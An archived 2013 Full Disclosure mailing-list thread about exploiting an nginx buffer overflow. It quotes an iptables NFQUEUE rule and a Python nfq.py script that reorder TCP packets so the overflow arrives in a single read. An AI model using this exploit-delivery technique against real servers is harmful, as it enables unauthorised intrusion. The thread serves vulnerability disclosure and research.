Full Disclosure mailing list archives
Re: nginx exploit documentation, about a generic way to exploit Linux targets
From: Kingcope <isowarez.isowarez.isowarez () googlemail com>
Date: Fri, 26 Jul 2013 13:19:09 +0700
Thanks for the hint about how to solve the issue! Two questions. Is the combination of both the iptables setting and python script a standalone solution along with the exploit code or is it required to send the exploit buffers in nfq.py? I assume the first. Does this configuration require anything else? I tested it using a vm inside windows but I presume it needs a real independent Linux host on the Internet right? Greetings, Kcope Am 24.07.2013 um 17:13 schrieb Albert Puigsech Galicia <albert () puigsech com>:
Hello everybody,"Ioctl is needed to set the nginx socket blocking so another call to write(2) will read much more memory than it is possible with the default non-blocking connection of nginx."This vulnerability was published recently and it seems that many exploiters got stuck because the socket will not block because the buffer is longer than the standard ethernet MTU, some others have found another attack vector without that problem. Let me to explain how we have achieved to overcome the non-blocking socket impediment without doing so much: When packets arriving at the TCP layer are analyzed and once determined the sequence are immediately delivered to the upper layer of the OSI model. Let's imagine that you want to overflow a big buffer through the network. Normally you would execute something like; send(sock, "AAAAA….A",…); If the size of the data is bigger than the MTU, is then splitted into multiple packages. The destination processes the information on many smaller packages instead of one. In summary,the read()/recv() doesn't get all the data and the overflow is not done. And that's what's happening on ngingx. What we have done to prevent that packets are delivered directly to the next layer is taking profit of TCP windows and TCP reorder: sending the first package on the last place. What happens is that the TCP stack will not deliver the packets to the next layer because the information is not complete, and just wait until all information (up to the size of the tcp window) is received to deliver it. Then the application layer will get all the information in _the same_ read an the overflow will happen. Using that TCP trick, the size limitation of the overflow is the TCP window size instead the MTU. One easy and **dirty** way to implement this is using iptables and nfqueue, but there are some better ones: # iptables -A OUTPUT -p tcp -d <IP> --destination-port <PORT> -j NFQUEUE # python nfq.py Regards, ===/ nfq.py /=== import nfqueue import socket import time data_count = 0 delayed = None def cb(dummy, payload): global data_count global delayed data = payload.get_data() # DIRTY for first data package (not three-way-handshake) if len(data) > 60: data_count += 1 if (data_count == 1): delayed = payload print data # Just DROP the packet and the local TCP stack will send it again because won't get the ACK. payload.set_verdict(nfqueue.NF_DROP) else: data_count = 0 q = nfqueue.queue() q.open() q.bind(socket.AF_INET) q.set_callback(cb) q.create_queue(0) try: q.try_run() except KeyboardInterrupt: print "Exiting..." q.unbind(socket.AF_INET) q.close() ===/ nfq.py /=== On 23 July 2013 19:49, king cope <isowarez.isowarez.isowarez () googlemail com> wrote:(see attachment) /Kingcope _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/-- Albert Puigsech Galicia + Mail: albert () puigsech com + Jabber: albert () puigsech com + Twitter: @apuigsech + Web: file:///dev/null
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- nginx exploit documentation, about a generic way to exploit Linux targets king cope (Jul 23)
- Re: nginx exploit documentation, about a generic way to exploit Linux targets Albert Puigsech Galicia (Jul 24)
- Re: nginx exploit documentation, about a generic way to exploit Linux targets Albert Puigsech Galicia (Jul 24)
- Re: nginx exploit documentation, about a generic way to exploit Linux targets Kingcope (Jul 25)
- Re: nginx exploit documentation, about a generic way to exploit Linux targets Albert Puigsech Galicia (Jul 26)
- Re: nginx exploit documentation, about a generic way to exploit Linux targets Kingcope (Jul 25)